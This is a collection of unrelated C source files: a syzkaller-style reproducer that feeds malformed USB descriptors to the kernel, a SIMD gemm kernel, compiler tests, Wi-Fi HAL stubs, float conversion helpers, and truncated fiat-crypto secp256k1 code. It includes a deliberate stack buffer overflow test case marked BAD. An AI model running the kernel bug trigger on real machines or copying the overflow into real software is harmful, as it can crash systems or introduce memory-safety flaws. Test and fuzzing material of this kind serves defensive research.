rlim.rlim_cur = rlim.rlim_max = (200 << 20);
setrlimit(RLIMIT_AS, &rlim);
rlim.rlim_cur = rlim.rlim_max = 32 << 20;
setrlimit(RLIMIT_MEMLOCK, &rlim);
rlim.rlim_cur = rlim.rlim_max = 136 << 20;
setrlimit(RLIMIT_FSIZE, &rlim);
rlim.rlim_cur = rlim.rlim_max = 1 << 20;
setrlimit(RLIMIT_STACK, &rlim);
rlim.rlim_cur = rlim.rlim_max = 0;
setrlimit(RLIMIT_CORE, &rlim);
rlim.rlim_cur = rlim.rlim_max = 256;
setrlimit(RLIMIT_NOFILE, &rlim);
if (unshare(CLONE_NEWNS)) {
}
if (unshare(CLONE_NEWIPC)) {
}
if (unshare(0x02000000)) {
}
if (unshare(CLONE_NEWUTS)) {
}
if (unshare(CLONE_SYSVSEM)) {
}
typedef struct {
const char* name;
const char* value;
} sysctl_t;
static const sysctl_t sysctls[] = {
{"/proc/sys/kernel/shmmax", "16777216"},
{"/proc/sys/kernel/shmall", "536870912"},
{"/proc/sys/kernel/shmmni", "1024"},
{"/proc/sys/kernel/msgmax", "8192"},
{"/proc/sys/kernel/msgmni", "1024"},
{"/proc/sys/kernel/msgmnb", "1024"},
{"/proc/sys/kernel/sem", "1024 1048576 500 1024"},
};
unsigned i;
for (i = 0; i < sizeof(sysctls) / sizeof(sysctls[0]); i++)
write_file(sysctls[i].name, sysctls[i].value);
}
int wait_for_loop(int pid)
{
if (pid < 0)
exit(1);
int status = 0;
while (waitpid(-1, &status, __WALL) != pid) {
}
return WEXITSTATUS(status);
}
static int do_sandbox_none(void)
{
if (unshare(CLONE_NEWPID)) {
}
int pid = fork();
if (pid != 0)
return wait_for_loop(pid);
setup_common();
sandbox_common();
initialize_netdevices_init();
if (unshare(CLONE_NEWNET)) {
}
initialize_tun();
initialize_netdevices();
loop();
exit(1);
}
#define FS_IOC_SETFLAGS _IOW('f', 2, long)
static void remove_dir(const char* dir)
{
DIR* dp;
struct dirent* ep;
int iter = 0;
retry:
while (umount2(dir, MNT_DETACH) == 0) {
}
dp = opendir(dir);
if (dp == NULL) {
if (errno == EMFILE) {
exit(1);
}
exit(1);
}
while ((ep = readdir(dp))) {
if (strcmp(ep->d_name, ".") == 0 || strcmp(ep->d_name, "..") == 0)
continue;
char filename[FILENAME_MAX];
snprintf(filename, sizeof(filename), "%s/%s", dir, ep->d_name);
while (umount2(filename, MNT_DETACH) == 0) {
}
struct stat st;
if (lstat(filename, &st))
exit(1);
if (S_ISDIR(st.st_mode)) {
remove_dir(filename);
continue;
}
int i;
for (i = 0;; i++) {
if (unlink(filename) == 0)
break;
if (errno == EPERM) {
int fd = open(filename, O_RDONLY);
if (fd != -1) {
long flags = 0;
if (ioctl(fd, FS_IOC_SETFLAGS, &flags) == 0)
close(fd);
continue;
}
}
if (errno == EROFS) {
break;
}
if (errno != EBUSY || i > 100)
exit(1);
if (umount2(filename, MNT_DETACH))
exit(1);
}
}
closedir(dp);
int i;
for (i = 0;; i++) {
if (rmdir(dir) == 0)
break;
if (i < 100) {
if (errno == EPERM) {
int fd = open(dir, O_RDONLY);
if (fd != -1) {
long flags = 0;
if (ioctl(fd, FS_IOC_SETFLAGS, &flags) == 0)
close(fd);
continue;
}
}
if (errno == EROFS) {
break;
}
if (errno == EBUSY) {
if (umount2(dir, MNT_DETACH))
exit(1);
continue;
}
if (errno == ENOTEMPTY) {
if (iter < 100) {
iter++;
goto retry;
}
}
}
exit(1);
}
}
static void kill_and_wait(int pid, int* status)
{
kill(-pid, SIGKILL);
kill(pid, SIGKILL);
int i;
for (i = 0; i < 100; i++) {
if (waitpid(-1, status, WNOHANG | __WALL) == pid)
return;
usleep(1000);
}
DIR* dir = opendir("/sys/fs/fuse/connections");
if (dir) {
for (;;) {
struct dirent* ent = readdir(dir);
if (!ent)
break;
if (strcmp(ent->d_name, ".") == 0 || strcmp(ent->d_name, "..") == 0)
continue;
char abort[300];
snprintf(abort, sizeof(abort), "/sys/fs/fuse/connections/%s/abort",
ent->d_name);
int fd = open(abort, O_WRONLY);
if (fd == -1) {
continue;
}
if (write(fd, abort, 1) < 0) {
}
close(fd);
}
closedir(dir);
} else {
}
while (waitpid(-1, status, __WALL) != pid) {
}
}
#define SYZ_HAVE_SETUP_LOOP 1
static void setup_loop()
{
setup_cgroups_loop();
checkpoint_net_namespace();
}
#define SYZ_HAVE_RESET_LOOP 1
static void reset_loop()
{
reset_net_namespace();
}
#define SYZ_HAVE_SETUP_TEST 1
static void setup_test()
{
prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0);
setpgrp();
setup_cgroups_test();
write_file("/proc/self/oom_score_adj", "1000");
flush_tun();
}
#define SYZ_HAVE_CLOSE_FDS 1
static void close_fds()
{
int fd;
for (fd = 3; fd < 30; fd++)
close(fd);
}
struct thread_t {
int created, call;
event_t ready, done;
};
static struct thread_t threads[16];
static void execute_call(int call);
static int running;
static void* thr(void* arg)
{
struct thread_t* th = (struct thread_t*)arg;
for (;;) {
event_wait(&th->ready);
event_reset(&th->ready);
execute_call(th->call);
__atomic_fetch_sub(&running, 1, __ATOMIC_RELAXED);
event_set(&th->done);
}
return 0;
}
static void execute_one(void)
{
int i, call, thread;
int collide = 0;
again:
for (call = 0; call < 2; call++) {
for (thread = 0; thread < (int)(sizeof(threads) / sizeof(threads[0]));
thread++) {
struct thread_t* th = &threads[thread];
if (!th->created) {
th->created = 1;
event_init(&th->ready);
event_init(&th->done);
event_set(&th->done);
thread_start(thr, th);
}
if (!event_isset(&th->done))
continue;
event_reset(&th->done);
th->call = call;
__atomic_fetch_add(&running, 1, __ATOMIC_RELAXED);
event_set(&th->ready);
if (collide && (call % 2) == 0)
break;
event_timedwait(&th->done, 45);
break;
}
}
for (i = 0; i < 100 && __atomic_load_n(&running, __ATOMIC_RELAXED); i++)
sleep_ms(1);
close_fds();
if (!collide) {
collide = 1;
goto again;
}
}
static void execute_one(void);
#define WAIT_FLAGS __WALL
static void loop(void)
{
setup_loop();
int iter;
for (iter = 0;; iter++) {
char cwdbuf[32];
sprintf(cwdbuf, "./%d", iter);
if (mkdir(cwdbuf, 0777))
exit(1);
reset_loop();
int pid = fork();
if (pid < 0)
exit(1);
if (pid == 0) {
if (chdir(cwdbuf))
exit(1);
setup_test();
execute_one();
exit(0);
}
int status = 0;
uint64_t start = current_time_ms();
for (;;) {
if (waitpid(-1, &status, WNOHANG | WAIT_FLAGS) == pid)
break;
sleep_ms(1);
if (current_time_ms() - start < 5 * 1000)
continue;
kill_and_wait(pid, &status);
break;
}
remove_dir(cwdbuf);
}
}
void execute_call(int call)
{
switch (call) {
case 0:
NONFAILING(*(uint32_t*)0x20003a80 = 0xa);
NONFAILING(*(uint64_t*)0x20003a84 = 0x20000000);
NONFAILING(*(uint8_t*)0x20000000 = 0xa);
NONFAILING(*(uint8_t*)0x20000001 = 6);
NONFAILING(*(uint16_t*)0x20000002 = 2);
NONFAILING(*(uint8_t*)0x20000004 = 3);
NONFAILING(*(uint8_t*)0x20000005 = 1);
NONFAILING(*(uint8_t*)0x20000006 = 3);
NONFAILING(*(uint8_t*)0x20000007 = -1);
NONFAILING(*(uint8_t*)0x20000008 = 5);
NONFAILING(*(uint8_t*)0x20000009 = 0);
NONFAILING(*(uint32_t*)0x20003a8c = 0x19);
NONFAILING(*(uint64_t*)0x20003a90 = 0x20003580);
NONFAILING(*(uint8_t*)0x20003580 = 5);
NONFAILING(*(uint8_t*)0x20003581 = 0xf);
NONFAILING(*(uint16_t*)0x20003582 = 0x19);
NONFAILING(*(uint8_t*)0x20003584 = 1);
NONFAILING(*(uint8_t*)0x20003585 = 0x14);
NONFAILING(*(uint8_t*)0x20003586 = 0x10);
NONFAILING(*(uint8_t*)0x20003587 = 4);
NONFAILING(*(uint8_t*)0x20003588 = 0x24);
NONFAILING(memcpy(
(void*)0x20003589,
"\x12\x3b\x29\xa0\x3b\x09\x01\xfc\x71\xc4\xdf\x2f\x6b\xe2\x83\x92",
16));
NONFAILING(*(uint32_t*)0x20003a98 = 5);
NONFAILING(*(uint32_t*)0x20003a9c = 0);
NONFAILING(*(uint64_t*)0x20003aa0 = 0);
NONFAILING(*(uint32_t*)0x20003aa8 = 0xab);
NONFAILING(*(uint64_t*)0x20003aac = 0x20003680);
NONFAILING(*(uint8_t*)0x20003680 = 0xab);
NONFAILING(*(uint8_t*)0x20003681 = 3);
NONFAILING(*(uint16_t*)0x20003682 = 0x3809);
NONFAILING(memcpy(
(void*)0x20003684,
"\x90\x4d\xf8\x3e\x76\xe7\x5f\xd4\x18\x45\xe8\x7b\xca\xcf\xd5\x43\x96"
"\x83\x80\x6b\x8d\x26\xb6\xd9\x65\xa5\x39\xa3\x2d\xd9\xfd\xc6\xe4\x96"
"\x81\x74\x17\xfd\xde\xb7\x83\x99\x8c\xda\x73\xba\x4a\xde\xac\xe6\x5e"
"\x93\x2b\xdd\x5f\x3c\x46\x9d\x4f\x10\x1d\x05\xbd\x82\xcd\xc5\x2b\x96"
"\x72\x17\xba\x46\xc1\x1d\xa8\xd7\x21\x7e\xd2\xb2\x71\x1c\x8c\xdb\xc8"
"\xd2\x84\x62\xf6\xfa\xe6\x75\x03\x4b\xc9\x89\xaf\x2b\xf5\xdb\x22\x96"
"\xd2\x68\xa8\x44\x06\xf9\x8a\xe0\xc3\x01\xd4\x13\x5f\x99\x54\x13\x79"
"\x14\x77\xbf\x98\x8d\xe3\x16\x13\xd0\xea\x7c\x7e\x23\xac\x4f\xd8\x45"
"\xf4\x86\x09\x85\x96\x0f\xc0\xdd\xea\xa3\xa7\x29\xc7\xbd\x07\xa0\xef"
"\x5d\x91\x33\xca\xa4\xc4\xb4\x45\x39\x7e\xaf\x14\x9f\xe1",
167));
NONFAILING(*(uint32_t*)0x20003ab4 = 0);
NONFAILING(*(uint64_t*)0x20003ab8 = 0);
NONFAILING(*(uint32_t*)0x20003ac0 = 4);
NONFAILING(*(uint64_t*)0x20003ac4 = 0x20003800);
NONFAILING(*(uint8_t*)0x20003800 = 4);
NONFAILING(*(uint8_t*)0x20003801 = 3);
NONFAILING(*(uint16_t*)0x20003802 = 0);
NONFAILING(*(uint32_t*)0x20003acc = 0);
NONFAILING(*(uint64_t*)0x20003ad0 = 0);
syz_usb_connect(0, 0, 0, 0x20003a80);
break;
case 1:
NONFAILING(*(uint8_t*)0x20000040 = 0x12);
NONFAILING(*(uint8_t*)0x20000041 = 1);
NONFAILING(*(uint16_t*)0x20000042 = 0);
NONFAILING(*(uint8_t*)0x20000044 = 0x1e);
NONFAILING(*(uint8_t*)0x20000045 = 0x5d);
NONFAILING(*(uint8_t*)0x20000046 = 0x71);
NONFAILING(*(uint8_t*)0x20000047 = 8);
NONFAILING(*(uint16_t*)0x20000048 = 0x7a6);
NONFAILING(*(uint16_t*)0x2000004a = 0x8513);
NONFAILING(*(uint16_t*)0x2000004c = 0xe6ec);
NONFAILING(*(uint8_t*)0x2000004e = 0);
NONFAILING(*(uint8_t*)0x2000004f = 0);
NONFAILING(*(uint8_t*)0x20000050 = 0);
NONFAILING(*(uint8_t*)0x20000051 = 1);
NONFAILING(*(uint8_t*)0x20000052 = 9);
NONFAILING(*(uint8_t*)0x20000053 = 2);
NONFAILING(*(uint16_t*)0x20000054 = 0x12);
NONFAILING(*(uint8_t*)0x20000056 = 1);
NONFAILING(*(uint8_t*)0x20000057 = 0);
NONFAILING(*(uint8_t*)0x20000058 = 0);
NONFAILING(*(uint8_t*)0x20000059 = 0);
NONFAILING(*(uint8_t*)0x2000005a = 0);
NONFAILING(*(uint8_t*)0x2000005b = 9);
NONFAILING(*(uint8_t*)0x2000005c = 4);
NONFAILING(*(uint8_t*)0x2000005d = 0x67);
NONFAILING(*(uint8_t*)0x2000005e = 0);
NONFAILING(*(uint8_t*)0x2000005f = 0);
NONFAILING(*(uint8_t*)0x20000060 = 0xfc);
NONFAILING(*(uint8_t*)0x20000061 = 0xb9);
NONFAILING(*(uint8_t*)0x20000062 = 0x8d);
NONFAILING(*(uint8_t*)0x20000063 = 0);
syz_usb_connect(0xfffffffffffffffc, 0x24, 0x20000040, 0);
break;
}
}
int main(void)
{
syscall(__NR_mmap, 0x20000000, 0x1000000, 3, 0x32, -1, 0);
install_segv_handler();
for (procid = 0; procid < 6; procid++) {
if (fork() == 0) {
use_temporary_dir();
do_sandbox_none();
}
}
sleep(1000000);
return 0;
}
|
the_stack_data/36074415.c | /**
* Copyright 2021 Huawei Technologies Co., Ltd
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include <x86intrin.h>
// nnacl gemm in x86 fma asm code
void nnacl_gemm_fma_1x8_kernel_nc8hw8_fp32(float *dst, const float *src, const float *weight, const float *bias,
const size_t act_flag, const size_t row_block, const size_t col_block,
const size_t deep, const size_t src_stride, const size_t dst_stride,
const size_t inc_flag) {
size_t deep_t = deep >> 3;
size_t dst_stride_t = dst_stride << 2;
size_t src_stride_t = src_stride << 2;
asm volatile(
// inc in deep
"and $0x1, %[inc_flag]\n"
"je 0f\n"
"vmovups 0(%[dst]), %%ymm0\n"
"jmp 2f\n"
"0:\n"
"cmpq $0, %[bias]\n"
"je 1f\n"
"vmovaps 0(%[bias]), %%ymm0\n"
"jmp 2f\n"
"1:\n"
"vxorps %%ymm0, %%ymm0, %%ymm0\n"
"2:\n"
:
: [ dst ] "r"(dst), [ bias ] "r"(bias), [ dst_stride ] "r"(dst_stride_t), [ inc_flag ] "r"(inc_flag)
: "%ymm0");
asm volatile(
"0:\n"
// block 0
"vmovaps 0(%[weight]), %%ymm15\n"
"vbroadcastss 0(%[src]), %%ymm14\n"
"vfmadd231ps %%ymm0, %%ymm14, %%ymm15\n"
// block 1
"vmovaps 32(%[weight]), %%ymm15\n"
"vbroadcastss 1(%[src]), %%ymm14\n"
"vfmadd231ps %%ymm0, %%ymm14, %%ymm15\n"
// block 2
"vmovaps 64(%[weight]), %%ymm15\n"
"vbroadcastss 2(%[src]), %%ymm14\n"
"vfmadd231ps %%ymm0, %%ymm14, %%ymm15\n"
// block 3
"vmovaps 96(%[weight]), %%ymm15\n"
"vbroadcastss 3(%[src]), %%ymm14\n"
"vfmadd231ps %%ymm0, %%ymm14, %%ymm15\n"
// block 4
"vmovaps 128(%[weight]), %%ymm15\n"
"vbroadcastss 4(%[src]), %%ymm14\n"
"vfmadd231ps %%ymm0, %%ymm14, %%ymm15\n"
// block 5
"vmovaps 160(%[weight]), %%ymm15\n"
"vbroadcastss 5(%[src]), %%ymm14\n"
"vfmadd231ps %%ymm0, %%ymm14, %%ymm15\n"
// block 6
"vmovaps 192(%[weight]), %%ymm15\n"
"vbroadcastss 6(%[src]), %%ymm14\n"
"vfmadd231ps %%ymm0, %%ymm14, %%ymm15\n"
// block 7
"vmovaps 224(%[weight]), %%ymm15\n"
"vbroadcastss 7(%[src]), %%ymm14\n"
"vfmadd231ps %%ymm0, %%ymm14, %%ymm15\n"
"dec %[deep]\n"
"add 256, %[weight]\n"
"add %[src_stride], %[src]\n"
"jg 0b\n"
"movq %[inc_flag], %%rax\n"
"and $0x2, %%eax\n"
"je 3f\n"
"movq %[act_flag], %%rax\n"
"and $0x3, %%eax\n"
"je 3f\n"
// relu
"vxorps %%ymm15, %%ymm15, %%ymm15\n"
"vmaxps %%ymm0, %%ymm15, %%ymm0\n"
"and $0x1, %%eax\n"
"je 3f\n"
// relu6
"mov $0x40C00000, %%eax\n"
"vmovd %%eax, %%xmm14\n"
"vpermps %%ymm14, %%ymm15, %%ymm14\n"
"vminps %%ymm0, %%ymm14, %%ymm0\n"
"3:\n"
"vmovups %%ymm0, 0(%[dst])\n"
:
: [ src ] "r"(src), [ src_stride ] "r"(src_stride_t), [ weight ] "r"(weight), [ deep ] "r"(deep_t),
[ inc_flag ] "r"(inc_flag), [ act_flag ] "r"(act_flag), [ dst ] "r"(dst), [ dst_stride ] "r"(dst_stride_t)
: "%rax", "%ymm0", "%ymm1", "%ymm2", "%ymm3", "%ymm4", "%ymm5", "%ymm6", "%ymm7", "%ymm8", "%ymm9", "%ymm10",
"%ymm11", "%ymm12", "%ymm13", "%ymm14", "%ymm15");
}
|
the_stack_data/259179.c | /* { dg-do compile } */
#define N 320
#define M 1024
signed short in[N+M];
signed short coeff[M];
int out[N];
/* Outer-loop vectorization. */
void
foo (){
int i,j;
int diff;
for (i = 0; i < N; i++) {
diff = 0;
for (j = 0; j < M; j+=8) {
diff += in[j+i]*coeff[j];
}
out[i]=diff;
}
}
/* { dg-final { scan-tree-dump-times "OUTER LOOP VECTORIZED" 1 "vect" { target vect_widen_mult_hi_to_si } } } */
|
the_stack_data/14200181.c | /* Taxonomy Classification: 0000000100000043000110 */
/*
* WRITE/READ 0 write
* WHICH BOUND 0 upper
* DATA TYPE 0 char
* MEMORY LOCATION 0 stack
* SCOPE 0 same
* CONTAINER 0 no
* POINTER 0 no
* INDEX COMPLEXITY 1 variable
* ADDRESS COMPLEXITY 0 constant
* LENGTH COMPLEXITY 0 N/A
* ADDRESS ALIAS 0 none
* INDEX ALIAS 0 none
* LOCAL CONTROL FLOW 0 none
* SECONDARY CONTROL FLOW 0 none
* LOOP STRUCTURE 4 non-standard for
* LOOP COMPLEXITY 3 two
* ASYNCHRONY 0 no
* TAINT 0 no
* RUNTIME ENV. DEPENDENCE 0 no
* MAGNITUDE 1 1 byte
* CONTINUOUS/DISCRETE 1 continuous
* SIGNEDNESS 0 no
*/
/*
Copyright 2005 Massachusetts Institute of Technology
All rights reserved.
Redistribution and use of software in source and binary forms, with or without
modification, are permitted provided that the following conditions are met.
- Redistributions of source code must retain the above copyright notice,
this set of conditions and the disclaimer below.
- Redistributions in binary form must reproduce the copyright notice, this
set of conditions, and the disclaimer below in the documentation and/or
other materials provided with the distribution.
- Neither the name of the Massachusetts Institute of Technology nor the
names of its contributors may be used to endorse or promote products
derived from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS".
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED.
IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE
OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF
ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
int main(int argc, char *argv[])
{
int init_value;
int inc_value;
int loop_counter;
char buf[10];
init_value = 0;
inc_value = 10 - (10 - 1);
loop_counter = init_value;
for( ; loop_counter <= 10; loop_counter += inc_value)
{
/* BAD */
buf[loop_counter] = 'A';
}
return 0;
}
|
the_stack_data/93730.c |
#ifdef DEV_BIND_ENABLED
#include "infra_config.h"
#include <string.h>
#include "infra_defs.h"
#include "dev_bind_wrapper.h"
#endif
#if defined(WIFI_PROVISION_ENABLED)
/*
* Copyright (C) 2015-2018 Alibaba Group Holding Limited
*/
#include "iot_import_awss.h"
/**
* @brief 获取配网服务(`AWSS`)的超时时间长度, 单位是毫秒
*
* @return 超时时长, 单位是毫秒
* @note 推荐时长是60,0000毫秒
*/
int HAL_Awss_Get_Timeout_Interval_Ms(void)
{
return 30 * 60 * 1000;
}
/**
* @brief 获取在每个信道(`channel`)上扫描的时间长度, 单位是毫秒
*
* @return 时间长度, 单位是毫秒
* @note 推荐时长是200毫秒到400毫秒
*/
int HAL_Awss_Get_Channelscan_Interval_Ms(void)
{
return 250;
}
/**
* @brief 设置Wi-Fi网卡工作在监听(Monitor)模式, 并在收到802.11帧的时候调用被传入的回调函数
*
* @param[in] cb @n A function pointer, called back when wifi receive a frame.
*/
void HAL_Awss_Open_Monitor(_IN_ awss_recv_80211_frame_cb_t cb)
{
}
/**
* @brief 设置Wi-Fi网卡离开监听(Monitor)模式, 并开始以站点(Station)模式工作
*/
void HAL_Awss_Close_Monitor(void)
{
}
/**
* @brief 设置Wi-Fi网卡切换到指定的信道(channel)上
*
* @param[in] primary_channel @n Primary channel.
* @param[in] secondary_channel @n Auxiliary channel if 40Mhz channel is supported, currently
* this param is always 0.
* @param[in] bssid @n A pointer to wifi BSSID on which awss lock the channel, most HAL
* may ignore it.
*/
void HAL_Awss_Switch_Channel(
_IN_ char primary_channel,
_IN_OPT_ char secondary_channel,
_IN_OPT_ uint8_t bssid[ETH_ALEN])
{
}
/**
* @brief 要求Wi-Fi网卡连接指定热点(Access Point)的函数
*
* @param[in] connection_timeout_ms @n AP connection timeout in ms or HAL_WAIT_INFINITE
* @param[in] ssid @n AP ssid
* @param[in] passwd @n AP passwd
* @param[in] auth @n optional(AWSS_AUTH_TYPE_INVALID), AP auth info
* @param[in] encry @n optional(AWSS_ENC_TYPE_INVALID), AP encry info
* @param[in] bssid @n optional(NULL or zero mac address), AP bssid info
* @param[in] channel @n optional, AP channel info
* @return
@verbatim
= 0: connect AP & DHCP success
= -1: connect AP or DHCP fail/timeout
@endverbatim
* @see None.
* @note
* If the STA connects the old AP, HAL should disconnect from the old AP firstly.
* If bssid specifies the dest AP, HAL should use bssid to connect dest AP.
*/
int HAL_Awss_Connect_Ap(
_IN_ uint32_t connection_timeout_ms,
_IN_ char ssid[HAL_MAX_SSID_LEN],
_IN_ char passwd[HAL_MAX_PASSWD_LEN],
_IN_OPT_ enum AWSS_AUTH_TYPE auth,
_IN_OPT_ enum AWSS_ENC_TYPE encry,
_IN_OPT_ uint8_t bssid[ETH_ALEN],
_IN_OPT_ uint8_t channel)
{
return 0;
}
/**
* @brief check system network is ready(get ip address) or not.
*
* @param None.
* @return 0, net is not ready; 1, net is ready.
* @see None.
* @note None.
*/
int HAL_Sys_Net_Is_Ready()
{
return 0;
}
/**
* @brief 在当前信道(channel)上以基本数据速率(1Mbps)发送裸的802.11帧(raw 802.11 frame)
*
* @param[in] type @n see enum HAL_Awss_frame_type, currently only FRAME_BEACON
* FRAME_PROBE_REQ is used
* @param[in] buffer @n 80211 raw frame, include complete mac header & FCS field
* @param[in] len @n 80211 raw frame length
* @return
@verbatim
= 0, send success.
= -1, send failure.
= -2, unsupported.
@endverbatim
* @see None.
* @note awss use this API send raw frame in wifi monitor mode & station mode
*/
int HAL_Wifi_Send_80211_Raw_Frame(_IN_ enum HAL_Awss_Frame_Type type,
_IN_ uint8_t *buffer, _IN_ int len)
{
return 0;
}
/**
* @brief 在站点(Station)模式下使能或禁用对管理帧的过滤
*
* @param[in] filter_mask @n see mask macro in enum HAL_Awss_frame_type,
* currently only FRAME_PROBE_REQ_MASK & FRAME_BEACON_MASK is used
* @param[in] vendor_oui @n oui can be used for precise frame match, optional
* @param[in] callback @n see awss_wifi_mgmt_frame_cb_t, passing 80211
* frame or ie to callback. when callback is NULL
* disable sniffer feature, otherwise enable it.
* @return
@verbatim
= 0, success
= -1, fail
= -2, unsupported.
@endverbatim
* @see None.
* @note awss use this API to filter specific mgnt frame in wifi station mode
*/
int HAL_Wifi_Enable_Mgmt_Frame_Filter(
_IN_ uint32_t filter_mask,
_IN_OPT_ uint8_t vendor_oui[3],
_IN_ awss_wifi_mgmt_frame_cb_t callback)
{
return 0;
}
/**
* @brief 启动一次Wi-Fi的空中扫描(Scan)
*
* @param[in] cb @n pass ssid info(scan result) to this callback one by one
* @return 0 for wifi scan is done, otherwise return -1
* @see None.
* @note
* This API should NOT exit before the invoking for cb is finished.
* This rule is something like the following :
* HAL_Wifi_Scan() is invoked...
* ...
* for (ap = first_ap; ap <= last_ap; ap = next_ap){
* cb(ap)
* }
* ...
* HAL_Wifi_Scan() exit...
*/
int HAL_Wifi_Scan(awss_wifi_scan_result_cb_t cb)
{
return 0;
}
/**
* @brief 获取所连接的热点(Access Point)的信息
*
* @param[out] ssid: array to store ap ssid. It will be null if ssid is not required.
* @param[out] passwd: array to store ap password. It will be null if ap password is not required.
* @param[out] bssid: array to store ap bssid. It will be null if bssid is not required.
* @return
@verbatim
= 0: succeeded
= -1: failed
@endverbatim
* @see None.
* @note
* If the STA dosen't connect AP successfully, HAL should return -1 and not touch the ssid/passwd/bssid buffer.
*/
int HAL_Wifi_Get_Ap_Info(
_OU_ char ssid[HAL_MAX_SSID_LEN],
_OU_ char passwd[HAL_MAX_PASSWD_LEN],
_OU_ uint8_t bssid[ETH_ALEN])
{
return 0;
}
/* @brief 打开当前设备热点,并把设备由SoftAP模式切换到AP模式
*/
int HAL_Awss_Open_Ap(const char *ssid, const char *passwd, int beacon_interval, int hide)
{
return 0;
}
/* @brief 关闭当前设备热点,并把设备由SoftAP模式切换到Station模式
*/
int HAL_Awss_Close_Ap()
{
return 0;
}
#endif /* #if defined(HAL_AWSS) */
#ifdef DEV_BIND_ENABLED
/**
* @brief 获取Wi-Fi网口的MAC地址, 格式应当是"XX:XX:XX:XX:XX:XX"
*
* @param mac_str : 用于存放MAC地址字符串的缓冲区数组
* @return 指向缓冲区数组起始位置的字符指针
*/
char *HAL_Wifi_Get_Mac(_OU_ char mac_str[HAL_MAC_LEN])
{
strcpy(mac_str, "18:FE:34:12:33:44");
return mac_str;
}
#endif
|
the_stack_data/45449924.c | /* Testing Code */
#include <limits.h>
#include <math.h>
/* Routines used by floation point test code */
/* Convert from bit level representation to floating point number */
float u2f(unsigned u) {
union {
unsigned u;
float f;
} a;
a.u = u;
return a.f;
}
/* Convert from floating point number to bit-level representation */
unsigned f2u(float f) {
union {
unsigned u;
float f;
} a;
a.f = f;
return a.u;
}
|
the_stack_data/695602.c | /*
* Copyright (C) 2010 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include <stdlib.h>
int main()
{
}
|
the_stack_data/73276.c | /* Autogenerated: src/ExtractionOCaml/bedrock2_word_by_word_montgomery --lang=bedrock2 --no-wide-int --widen-carry --widen-bytes --split-multiret --no-select secp256k1 '2^256 - 2^32 - 977' 32 mul square add sub opp from_montgomery nonzero selectznz to_bytes from_bytes */
/* curve description: secp256k1 */
/* requested operations: mul, square, add, sub, opp, from_montgomery, nonzero, selectznz, to_bytes, from_bytes */
/* m = 0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffefffffc2f (from "2^256 - 2^32 - 977") */
/* machine_wordsize = 32 (from "32") */
/* */
/* NOTE: In addition to the bounds specified above each function, all */
/* functions synthesized for this Montgomery arithmetic require the */
/* input to be strictly less than the prime modulus (m), and also */
/* require the input to be in the unique saturated representation. */
/* All functions also ensure that these two properties are true of */
/* return values. */
#include <stdint.h>
/*
* Input Bounds:
* in0: [[0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff]]
* in1: [[0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff]]
* Output Bounds:
* out0: [[0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff]]
*/
void fiat_secp256k1_mul(uintptr_t in0, uintptr_t in1, uintptr_t out0) {
uintptr_t x1, x2, x3, x4, x5, x6, x7, x0, x23, x36, x39, x41, x37, x42, x34, x43, x45, x46, x35, x47, x32, x48, x50, x51, x33, x52, x30, x53, x55, x56, x31, x57, x28, x58, x60, x61, x29, x62, x26, x63, x65, x66, x27, x67, x24, x68, x70, x71, x25, x73, x86, x89, x91, x87, x92, x84, x93, x95, x96, x85, x97, x82, x98, x100, x101, x83, x102, x80, x103, x105, x106, x81, x107, x78, x108, x110, x111, x79, x112, x76, x113, x115, x116, x77, x117, x74, x118, x120, x121, x75, x88, x123, x38, x124, x40, x125, x90, x126, x128, x129, x44, x130, x94, x131, x133, x134, x49, x135, x99, x136, x138, x139, x54, x140, x104, x141, x143, x144, x59, x145, x109, x146, x148, x149, x64, x150, x114, x151, x153, x154, x69, x155, x119, x156, x158, x159, x72, x160, x122, x161, x163, x16, x177, x180, x182, x178, x183, x175, x184, x186, x187, x176, x188, x173, x189, x191, x192, x174, x193, x171, x194, x196, x197, x172, x198, x169, x199, x201, x202, x170, x203, x167, x204, x206, x207, x168, x208, x165, x209, x211, x212, x166, x179, x127, x215, x132, x216, x181, x217, x219, x220, x137, x221, x185, x222, x224, 